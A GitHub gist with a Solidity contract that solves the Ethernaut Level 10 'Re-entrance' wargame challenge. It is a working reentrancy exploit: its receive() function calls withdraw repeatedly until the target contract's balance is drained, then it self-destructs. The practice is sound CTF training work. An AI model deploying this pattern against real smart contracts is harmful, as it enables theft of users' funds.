Skip to content

Instantly share code, notes, and snippets.

@Chirag21
Last active January 4, 2023 17:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Chirag21/4cb2e1e459adbbdcc19b75b3d549f9fc to your computer and use it in GitHub Desktop.
Save Chirag21/4cb2e1e459adbbdcc19b75b3d549f9fc to your computer and use it in GitHub Desktop.
Solution for Ethernaut Level 10 - Re-entrance. For Remix IDE
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IReentrance {
function donate(address) external payable;
function balanceOf(address) external view returns (uint256);
function withdraw(uint256) external;
}
contract ReentranceHack {
IReentrance private immutable reentrance;
constructor(address _reentrance) {
reentrance = IReentrance(_reentrance);
}
// Send 0.001 ether and withdraw immediately
// This will trigger the receive function when withdraw() is called on Reentrance contract
function hack() public payable {
reentrance.donate{value: msg.value}(address(this));
// This will trigger the receive() the function
reentrance.withdraw(msg.value);
require(address(reentrance).balance == 0, "FAILED!!!");
// Recover sent ether
selfdestruct(payable(msg.sender));
}
receive() external payable {
uint256 balance = reentrance.balanceOf(address(this));
// Try to withdraw the smallest amount possible, so that the transaction does not revert
uint256 withdrawableAmount = balance < 0.001 ether
? balance
: 0.001 ether;
// Stop withdrawing if the contract balance is 0, so that the transaction does not revert
if (withdrawableAmount > 0) {
reentrance.withdraw(withdrawableAmount);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment